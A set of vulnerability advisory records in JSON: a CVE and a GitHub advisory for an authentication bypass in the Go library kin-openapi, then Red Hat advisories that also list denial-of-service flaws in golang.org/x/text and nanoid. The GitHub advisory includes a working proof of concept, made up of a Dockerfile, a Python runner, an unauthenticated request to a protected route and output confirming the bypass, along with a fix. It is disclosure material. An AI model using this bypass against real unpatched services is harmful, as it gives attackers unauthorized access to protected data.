{
  "affected": [
    {
      "affectedData": [
        {
          "product": "kin-openapi",
          "vendor": "getkin",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.144.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "kin-openapi is a Go project for handling OpenAPI files. Prior to 0.144.0, ValidationHandler.Load() in openapi3filter/validation_handler.go silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc, which returns nil without checking credentials. This substitution causes every OpenAPI security requirement to be satisfied for unauthenticated requests when an application relies on ValidationHandler as its enforcement middleware. The no-op callback prevents the fail-closed ErrAuthenticationServiceMissing path from being reached and forwards the request to protected handlers that may require an API key, OAuth token, or another security scheme. This issue is fixed in version 0.144.0."
    }
  ],
  "id": "CVE-2026-73501",
  "lastModified": "2026-08-13T13:19:18.350",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 9.1,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-73501",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-13T13:06:12.716245Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-12T22:17:17.443",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/getkin/kin-openapi/commit/f0407d53b0730280266f454b755010e7eeb985da"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/getkin/kin-openapi/releases/tag/v0.144.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/getkin/kin-openapi/security/advisories/GHSA-r277-6w6q-xmqw"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/getkin/kin-openapi/security/advisories/GHSA-r277-6w6q-xmqw"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-287"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.143.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/getkin/kin-openapi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.144.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T16:52:05Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n`ValidationHandler.Load()` in `getkin/kin-openapi` silently replaces a nil `AuthenticationFunc` with `NoopAuthenticationFunc`, which always returns `nil` without performing any credential check. Because this substitution happens unconditionally when the caller omits the field, every OpenAPI `security` requirement declared in the spec is silently satisfied for unauthenticated requests. An unauthenticated remote attacker can reach handlers for routes whose OpenAPI operation requires an API key, OAuth token, or any other security scheme if the application relies on `ValidationHandler` as its enforcement middleware. \n\n### Details\n`ValidationHandler` is an HTTP middleware exported by `openapi3filter` that validates incoming requests and responses against a loaded OpenAPI specification. Its `Load()` method initialises default fields before the handler begins serving:\n\n```go\n// openapi3filter/validation_handler.go:47-49\nif h.AuthenticationFunc == nil {\n    h.AuthenticationFunc = NoopAuthenticationFunc\n}\n```\n\n`NoopAuthenticationFunc` is defined as:\n\n```go\n// openapi3filter/validation_handler.go:17-18\nfunc NoopAuthenticationFunc(context.Context, *AuthenticationInput) error { return nil }\n```\n\nIt always returns `nil`, meaning every security scheme check it handles is automatically approved.\n\nWhen a request arrives, `ServeHTTP` \u2192 `before` \u2192 `validateRequest` assembles a `RequestValidationInput` with the current `AuthenticationFunc` (now the no-op) injected into `Options`:\n\n```go\n// openapi3filter/validation_handler.go:91-103\noptions := \u0026Options{\n    AuthenticationFunc: h.AuthenticationFunc,\n}\nrequestValidationInput := \u0026RequestValidationInput{\n    Request:    r,\n    PathParams: pathParams,\n    Route:      route,\n    Options:    options,\n}\nif err = ValidateRequest(r.Context(), requestValidationInput); err != nil {\n    return err\n}\n```\n\nInside `ValidateRequest`, each security requirement calls `options.AuthenticationFunc`:\n\n```go\n// openapi3filter/validate_request.go:436-438\nf := options.AuthenticationFunc\nif f == nil {\n    return ErrAuthenticationServiceMissing   // fail-closed path \u2014 never reached via ValidationHandler\n}\n// ...\n// openapi3filter/validate_request.go:497-503\nif err := f(ctx, \u0026AuthenticationInput{...}); err != nil {\n    return err\n}\n```\n\nBecause `f` is the no-op (not `nil`), the `ErrAuthenticationServiceMissing` guard is never triggered and `f(...)` returns `nil`, clearing the security requirement. Control then proceeds to the protected handler (`validation_handler.go:61-62`).\n\nThe critical contradiction is that callers who use `ValidateRequest` directly with a nil `AuthenticationFunc` get fail-closed behavior (`ErrAuthenticationServiceMissing`), while callers who use the higher-level `ValidationHandler` with a nil `AuthenticationFunc` get fail-open behavior. Since omitting `AuthenticationFunc` is the natural default, the majority of real-world integrations are vulnerable.\n\nAffected source file and line: `openapi3filter/validation_handler.go:47\u201349` (commit `30e2923`, tag `v0.143.0`).\n\n### PoC\n**Environment**\n\n```\nDocker (any version supporting multi-stage builds)\nGo 1.25 (inside the container via golang:1.25-alpine)\ngetkin/kin-openapi v0.143.0 (local source copy)\n```\n\n**Step 1 \u2014 Build the Docker image**\n\nFrom the repository root (parent of `vuln-001/`):\n\n```bash\ndocker build \\\n  -t vuln001-auth-bypass-poc \\\n  -f vuln-001/Dockerfile \\\n  reports/github_web_233_getkin__kin-openapi\n```\n\nThe `Dockerfile` copies the local `kin-openapi` source into `/kin-openapi/` inside the image and builds a Go binary (`/poc-binary`) from `main.go`. The `go.mod` inside the image uses a `replace` directive pointing to `/kin-openapi`, so no network access to the Go module proxy is required.\n\n**Step 2 \u2014 Run the container**\n\n```bash\ndocker run --rm --network none vuln001-auth-bypass-poc\n```\n\n**Step 3 (alternative) \u2014 Use the Python helper**\n\n```bash\npython3 vuln-001/poc.py --no-cleanup\n```\n\n**What the PoC does**\n\n`main.go` creates a temporary OpenAPI 3.0 spec that declares `GET /secret` as protected by an `apiKey` security scheme:\n\n```yaml\npaths:\n  /secret:\n    get:\n      security:\n        - apiKey: []\ncomponents:\n  securitySchemes:\n    apiKey:\n      type: apiKey\n      name: X-Api-Key\n      in: header\n```\n\nIt then constructs a `ValidationHandler` **without** setting `AuthenticationFunc`, calls `Load()`, and sends a request with no `X-Api-Key` header:\n\n```http\nGET /secret HTTP/1.1\nHost: example.test\n# X-Api-Key header is intentionally absent\n```\n\n**Expected (vulnerable) output**\n\n```\n=== CONTRAST: Direct ValidateRequest with nil AuthenticationFunc ===\n  Direct ValidateRequest (nil auth) =\u003e ERROR: security requirements failed: missing AuthenticationFunc\n  -\u003e Fail-CLOSED behavior confirmed: missing auth function is rejected\n\n=== EXPLOIT: ValidationHandler.Load() with nil AuthenticationFunc ===\n  OpenAPI spec defines: security: [{apiKey: []}] on GET /secret\n  ValidationHandler.AuthenticationFunc: NOT SET (nil)\n  Load() will inject NoopAuthenticationFunc, which always returns nil\n\n  Request:  GET /secret  (X-Api-Key header: absent)\n  Response: status=200  body=\"SECRET_DATA\\n\"\n\n[EXPLOIT SUCCESS] Auth bypass confirmed!\n  Protected resource /secret returned SECRET_DATA without credentials.\n  ValidationHandler.Load() silently injected NoopAuthenticationFunc.\n  Security requirement was bypassed. VULN-001 REPRODUCED.\n```\n\nThe contrast block confirms fail-closed behavior when `ValidateRequest` is called directly. The exploit block confirms fail-open behavior through `ValidationHandler`. Status 200 and `SECRET_DATA` are returned without any credential.\n\n**Remediation patch**\n\n```diff\n--- a/openapi3filter/validation_handler.go\n+++ b/openapi3filter/validation_handler.go\n@@\n  if h.Handler == nil {\n      h.Handler = http.DefaultServeMux\n  }\n- if h.AuthenticationFunc == nil {\n-     h.AuthenticationFunc = NoopAuthenticationFunc\n- }\n  if h.ErrorEncoder == nil {\n      h.ErrorEncoder = DefaultErrorEncoder\n  }\n```\n\nAfter this change, a nil `AuthenticationFunc` propagates into `ValidateRequest`, which returns `ErrAuthenticationServiceMissing` and rejects the request. Callers who genuinely want to skip authentication can still opt in explicitly: `h.AuthenticationFunc = openapi3filter.NoopAuthenticationFunc`.\n\n### Impact\nThis is an **authentication bypass** vulnerability (CWE-287). Any application that:\n\n1. uses `openapi3filter.ValidationHandler` as its HTTP middleware, and\n2. declares one or more `security` requirements in its OpenAPI specification, and\n3. does **not** explicitly set `AuthenticationFunc`,\n\nis fully exposed. An unauthenticated remote attacker can send requests to any protected endpoint without supplying credentials; the middleware accepts the request and forwards it to the underlying handler as if authentication had succeeded.\n\nAffected parties include all Go services that adopt `ValidationHandler` as a drop-in validation layer and rely on OpenAPI `security` declarations for access control without adding a separate authentication layer upstream (e.g., an API gateway or reverse proxy). Because the insecure behavior is the default, developers following the \"getting started\" path are affected without any additional mistake.\n\nThe confidentiality and integrity of data behind secured endpoints are both at high risk. Availability is not directly affected by this vulnerability.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM golang:1.25-alpine\n\n# Install git (needed by go mod for some packages)\nRUN apk add --no-cache git\n\nWORKDIR /workspace\n\n# Copy the vulnerable kin-openapi repository as a local module replacement\nCOPY repo/ /kin-openapi/\n\n# Set up the PoC Go module\nRUN mkdir -p /workspace/poc\nWORKDIR /workspace/poc\n\n# Create go.mod that uses the local copy of the vulnerable kin-openapi\nRUN cat \u003e go.mod \u003c\u003c\u0027EOF\u0027\nmodule kin-openapi-auth-bypass-poc\n\ngo 1.25\n\nrequire github.com/getkin/kin-openapi v0.143.0\n\nreplace github.com/getkin/kin-openapi =\u003e /kin-openapi\nEOF\n\n# Copy the PoC source (build context is the parent directory of vuln-001/)\nCOPY vuln-001/main.go /workspace/poc/main.go\n\n# Resolve dependencies and build\nRUN go mod tidy \u0026\u0026 \\\n    go build -o /poc-binary .\n\n# Run the PoC\nCMD [\"/poc-binary\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: ValidationHandler.Load() Fail-Open Auth Bypass via NoopAuthenticationFunc Default\nRepository: getkin/kin-openapi v0.143.0\nCWE: CWE-287 (Improper Authentication)\nCVSS: 9.1 (Critical)\n\nVulnerability Summary:\n    ValidationHandler.Load() silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc.\n    NoopAuthenticationFunc always returns nil (no error), so any OpenAPI security requirement\n    passes without validation when the user forgets to set AuthenticationFunc.\n\n    Contrast: ValidateRequest() with nil AuthenticationFunc returns ErrAuthenticationServiceMissing\n    (fail-closed). ValidationHandler.Load() breaks this guarantee (fail-open).\n\nUsage:\n    python3 poc.py [--build-dir \u003cdir\u003e] [--image \u003cname\u003e] [--no-cleanup]\n\"\"\"\n\nimport argparse\nimport os\nimport subprocess\nimport sys\nimport json\n\nIMAGE_NAME = \"vuln001-auth-bypass-poc\"\nSCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))\nREPO_DIR = os.path.join(os.path.dirname(SCRIPT_DIR), \"repo\")\n\nSUCCESS_MARKER = \"[EXPLOIT SUCCESS]\"\nEXPECTED_STATUS = \"status=200\"\nEXPECTED_BODY = \u0027body=\"SECRET_DATA\\\\n\"\u0027\n\n\ndef run(cmd, **kwargs):\n    \"\"\"Run a shell command and return (returncode, stdout, stderr).\"\"\"\n    print(f\"[CMD] {\u0027 \u0027.join(cmd)}\")\n    result = subprocess.run(cmd, capture_output=True, text=True, **kwargs)\n    if result.stdout:\n        print(result.stdout, end=\"\")\n    if result.stderr:\n        print(result.stderr, end=\"\", file=sys.stderr)\n    return result.returncode, result.stdout, result.stderr\n\n\ndef build_image(build_dir):\n    \"\"\"Build the Docker image containing the PoC binary.\"\"\"\n    print(\"\\n[*] Building Docker image ...\")\n    rc, stdout, stderr = run([\n        \"docker\", \"build\",\n        \"--build-arg\", f\"REPO_DIR={REPO_DIR}\",\n        \"-t\", IMAGE_NAME,\n        \"-f\", os.path.join(build_dir, \"Dockerfile\"),\n        # Build context is the reports root so both Dockerfile and repo/ are reachable\n        os.path.dirname(build_dir),\n    ])\n    if rc != 0:\n        print(f\"[ERROR] Docker build failed (exit {rc})\", file=sys.stderr)\n        sys.exit(rc)\n    print(\"[*] Docker build succeeded.\")\n    return f\"docker build -t {IMAGE_NAME} -f {os.path.join(build_dir, \u0027Dockerfile\u0027)} {os.path.dirname(build_dir)}\"\n\n\ndef run_container():\n    \"\"\"Run the container and capture output.\"\"\"\n    print(\"\\n[*] Running PoC container ...\")\n    rc, stdout, stderr = run([\n        \"docker\", \"run\", \"--rm\",\n        \"--network\", \"none\",   # no network access needed\n        IMAGE_NAME,\n    ])\n    combined = stdout + stderr\n    return rc, combined\n\n\ndef evaluate(exit_code, output):\n    \"\"\"Determine whether the exploit was confirmed.\"\"\"\n    passed = (\n        exit_code == 0\n        and SUCCESS_MARKER in output\n        and EXPECTED_STATUS in output\n        and EXPECTED_BODY in output\n    )\n    return passed\n\n\ndef cleanup_image():\n    \"\"\"Remove the Docker image.\"\"\"\n    print(f\"\\n[*] Removing Docker image {IMAGE_NAME} ...\")\n    run([\"docker\", \"rmi\", \"-f\", IMAGE_NAME])\n\n\ndef main():\n    global IMAGE_NAME\n    parser = argparse.ArgumentParser(description=\"VULN-001 Auth Bypass PoC runner\")\n    parser.add_argument(\"--build-dir\", default=SCRIPT_DIR,\n                        help=\"Directory containing Dockerfile and main.go\")\n    parser.add_argument(\"--image\", default=IMAGE_NAME,\n                        help=\"Docker image name to build/run\")\n    parser.add_argument(\"--no-cleanup\", action=\"store_true\",\n                        help=\"Keep the Docker image after the run\")\n    args = parser.parse_args()\n    IMAGE_NAME = args.image\n\n    print(\"=\" * 60)\n    print(\"VULN-001 PoC: Auth Bypass via NoopAuthenticationFunc Default\")\n    print(\"=\" * 60)\n    print(f\"  Build dir : {args.build_dir}\")\n    print(f\"  Repo dir  : {REPO_DIR}\")\n    print(f\"  Image     : {IMAGE_NAME}\")\n\n    build_cmd = build_image(args.build_dir)\n    run_cmd = f\"docker run --rm --network none {IMAGE_NAME}\"\n\n    exit_code, output = run_container()\n\n    if not args.no_cleanup:\n        cleanup_image()\n\n    passed = evaluate(exit_code, output)\n\n    print(\"\\n\" + \"=\" * 60)\n    if passed:\n        print(\"[RESULT] PASS \u2014 Auth bypass CONFIRMED\")\n        print(\"  The protected handler returned SECRET_DATA without credentials.\")\n        print(\"  ValidationHandler.Load() injected NoopAuthenticationFunc silently.\")\n    else:\n        print(f\"[RESULT] FAIL \u2014 Exploit not confirmed (exit={exit_code})\")\n\n    print(f\"\\nContainer exit code : {exit_code}\")\n    print(f\"Success marker found: {SUCCESS_MARKER in output}\")\n    print(f\"Status 200 found    : {EXPECTED_STATUS in output}\")\n    print(f\"Secret body found   : {EXPECTED_BODY in output}\")\n\n    # Exit with code that signals pass/fail\n    sys.exit(0 if passed else 1)\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-r277-6w6q-xmqw",
  "modified": "2026-07-24T16:52:05Z",
  "published": "2026-07-24T16:52:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/security/advisories/GHSA-r277-6w6q-xmqw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/commit/f0407d53b0730280266f454b755010e7eeb985da"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getkin/kin-openapi"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/releases/tag/v0.144.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "kin-openapi: ValidationHandler.Load() Fail-Open Authentication Bypass via NoopAuthenticationFunc Default"
}

{
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    "distribution": {
      "text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
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        "category": "summary",
        "text": "An update for Red Hat Hardened Images RPMs is now available.",
        "title": "Topic"
      },
      {
        "category": "general",
        "text": "This update includes the following RPMs:\n\nhugo:\n  * hugo-0.165.0-0.1.hum1 (aarch64, x86_64)\n  * hugo-0.165.0-0.1.hum1.src (src)\n\nSecurity Fix(es):\n\nhugo:\n  * CVE-2026-56852",
        "title": "Details"
      },
      {
        "category": "legal_disclaimer",
        "text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
        "title": "Terms of Use"
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        "url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_54549.json"
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          "summary": "Initial version"
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        {
          "date": "2026-08-27T19:44:43+00:00",
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                    "purl": "pkg:rpm/redhat/hugo@0.165.0-0.1.hum1?arch=x86_64\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-x86_64-rpms"
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      },
      "discovery_date": "2026-07-21T20:01:56.266823+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2504233"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in golang.org/x/text. The norm.Iter component can enter an infinite loop when processing input that contains invalid UTF-8 (Unicode Transformation Format - 8-bit) bytes. A remote attacker could exploit this vulnerability by providing specially crafted input, leading to a Denial of Service (DoS) condition where the affected application becomes unresponsive.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "golang.org/x/text: golang.org/x/text: Denial of Service via invalid UTF-8 input",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "Important: This flaw in the `golang.org/x/text` library can lead to a denial of service. An attacker could provide specially crafted invalid UTF-8 input to an application using the affected `norm.Iter` functionality, causing it to enter an infinite loop and become unresponsive.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
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        },
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          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56852"
        },
        {
          "category": "external",
          "summary": "https://go.dev/cl/794100",
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          "title": "Vulnerability summary"
        },
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          "category": "other",
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          "title": "Statement"
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        },
        {
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          "summary": "https://github.com/getkin/kin-openapi/security/advisories/GHSA-r277-6w6q-xmqw",
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          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
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          "details": "Critical"
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        "text": "An update for Red Hat Hardened Images RPMs is now available.",
        "title": "Topic"
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        "text": "This update includes the following RPMs:\n\ngrafana13.1:\n  * grafana13.1-13.1.3-0.2.hum1 (aarch64, x86_64)\n  * grafana13.1-13.1.3-0.2.hum1.src (src)",
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        "text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
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    ],
    "title": "Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update",
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          "date": "2026-08-24T13:03:46+00:00",
          "number": "1",
          "summary": "Initial version"
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          "date": "2026-08-27T19:45:00+00:00",
          "number": "2",
          "summary": "Last updated version"
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        {
          "category": "description",
          "text": "A flaw was found in kin-openapi. This vulnerability allows a remote attacker to bypass authentication checks. Specifically, the system incorrectly handles missing authentication configurations, substituting them with a function that does not verify user credentials. This enables unauthorized access to protected resources that should require proper authentication, compromising the application\u0027s security.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "github.com/getkin/kin-openapi: kin-openapi: kin-openapi: ValidationHandler.Load() Fail-Open Authentication Bypass via NoopAuthenticationFunc Default",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This Critical flaw in `kin-openapi` allows unauthenticated attackers to bypass API security enforcement in applications utilizing `ValidationHandler` without an explicitly configured authentication function. This can lead to unauthorized access to protected API endpoints, as the default behavior silently permits requests without credential validation.",
          "title": "Statement"
        },
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          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
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          "date": "2026-08-24T13:03:46+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
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          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 9.1,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          },
          "products": [
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            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Critical"
        }
      ],
      "title": "github.com/getkin/kin-openapi: kin-openapi: kin-openapi: ValidationHandler.Load() Fail-Open Authentication Bypass via NoopAuthenticationFunc Default"
    }
  ]
}

{
  "document": {
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        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
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    },
    "lang": "en",
    "notes": [
      {
        "category": "summary",
        "text": "An update for Red Hat Hardened Images RPMs is now available.",
        "title": "Topic"
      },
      {
        "category": "general",
        "text": "This update includes the following RPMs:\n\ngrafana13.2:\n  * grafana13.2-13.2.0-0.1.1.hum1 (aarch64, x86_64)\n  * grafana13.2-13.2.0-0.1.1.hum1.src (src)",
        "title": "Details"
      },
      {
        "category": "legal_disclaimer",
        "text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
        "title": "Terms of Use"
      }
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        "url": "https://access.redhat.com/errata/RHSA-2026:59030"
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        "url": "https://access.redhat.com/security/cve/CVE-2026-73501"
      },
      {
        "category": "self",
        "summary": "Canonical URL",
        "url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_59030.json"
      }
    ],
    "title": "Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update",
    "tracking": {
      "current_release_date": "2026-08-29T15:32:30+00:00",
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      "id": "RHSA-2026:59030",
      "initial_release_date": "2026-08-24T13:13:27+00:00",
      "revision_history": [
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          "date": "2026-08-24T13:13:27+00:00",
          "number": "1",
          "summary": "Initial version"
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        {
          "date": "2026-08-27T19:44:52+00:00",
          "number": "2",
          "summary": "Last updated version"
        },
        {
          "date": "2026-08-29T15:32:30+00:00",
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          "summary": "Last generated version"
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      ],
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                  "product_id": "grafana13-2-main@x86_64",
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      },
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      },
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        },
        "product_reference": "grafana13-2-main@x86_64",
        "relates_to_product_reference": "Red Hat Hardened Images"
      }
    ]
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  "vulnerabilities": [
    {
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      "cwe": {
        "id": "CWE-839",
        "name": "Numeric Range Comparison Without Minimum Check"
      },
      "discovery_date": "2026-07-29T14:01:28.637584+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2508411"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in nanoid (Nano ID), a JavaScript library used for generating unique identifiers. This vulnerability allows an attacker to cause a Denial of Service (DoS) by providing a negative size input to the customAlphabet or nanoid functions within the library\u0027s non-secure module. When a negative size is provided, these functions enter an infinite loop, causing the application to hang indefinitely and disrupting service availability.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "nanoid: nanoid: Denial of Service via negative size input in non-secure module functions",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "An input validation flaw in Nano ID\u0027s non-secure module (`nanoid/non-secure`) causes an infinite loop in the `customAlphabet` and `nanoid` functions when processed with a negative size parameter. Because the decrementing loop counter never meets its termination condition, an unauthenticated attacker who passes an unvalidated negative integer value can block the NodeJS event loop, resulting in a thread hang and complete Denial of Service (DoS) for the host application.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:grafana13-2-main@aarch64",
          "Red Hat Hardened Images:grafana13-2-main@src",
          "Red Hat Hardened Images:grafana13-2-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-67214"
        },
        {
          "category": "external",
          "summary": "RHBZ#2508411",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2508411"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-67214",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-67214"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-67214",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67214"
        },
        {
          "category": "external",
          "summary": "https://github.com/ai/nanoid/commit/6ccc67bbaba71d3d77a21d9b636f4171a268ce49",
          "url": "https://github.com/ai/nanoid/commit/6ccc67bbaba71d3d77a21d9b636f4171a268ce49"
        },
        {
          "category": "external",
          "summary": "https://github.com/ai/nanoid/releases/tag/5.1.16",
          "url": "https://github.com/ai/nanoid/releases/tag/5.1.16"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/nanoid-before-infinite-loop-via-negative-size-in-non-secure-module",
          "url": "https://www.vulncheck.com/advisories/nanoid-before-infinite-loop-via-negative-size-in-non-secure-module"
        }
      ],
      "release_date": "2026-07-29T13:32:02.265000+00:00",
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          "category": "vendor_fix",
          "date": "2026-08-24T13:13:27+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-2-main@aarch64",
            "Red Hat Hardened Images:grafana13-2-main@src",
            "Red Hat Hardened Images:grafana13-2-main@x86_64"
          ],
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            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:59030"
        },
        {
          "category": "workaround",
          "details": "Sanitize all user-supplied integer inputs before passing them to `nanoid` or `customAlphabet` functions in the `nanoid/non-secure` module, ensuring the size parameter is strictly a non-negative integer.",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-2-main@aarch64",
            "Red Hat Hardened Images:grafana13-2-main@src",
            "Red Hat Hardened Images:grafana13-2-main@x86_64"
          ]
        }
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            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
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          },
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            "Red Hat Hardened Images:grafana13-2-main@src",
            "Red Hat Hardened Images:grafana13-2-main@x86_64"
          ]
        }
      ],
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          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "nanoid: nanoid: Denial of Service via negative size input in non-secure module functions"
    },
    {
      "cve": "CVE-2026-73501",
      "cwe": {
        "id": "CWE-306",
        "name": "Missing Authentication for Critical Function"
      },
      "discovery_date": "2026-08-12T21:41:02.246848+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2515006"
        }
      ],
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        {
          "category": "description",
          "text": "A flaw was found in kin-openapi. This vulnerability allows a remote attacker to bypass authentication checks. Specifically, the system incorrectly handles missing authentication configurations, substituting them with a function that does not verify user credentials. This enables unauthorized access to protected resources that should require proper authentication, compromising the application\u0027s security.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "github.com/getkin/kin-openapi: kin-openapi: kin-openapi: ValidationHandler.Load() Fail-Open Authentication Bypass via NoopAuthenticationFunc Default",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This Critical flaw in `kin-openapi` allows unauthenticated attackers to bypass API security enforcement in applications utilizing `ValidationHandler` without an explicitly configured authentication function. This can lead to unauthorized access to protected API endpoints, as the default behavior silently permits requests without credential validation.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:grafana13-2-main@aarch64",
          "Red Hat Hardened Images:grafana13-2-main@src",
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        ]
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        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-73501"
        },
        {
          "category": "external",
          "summary": "RHBZ#2515006",
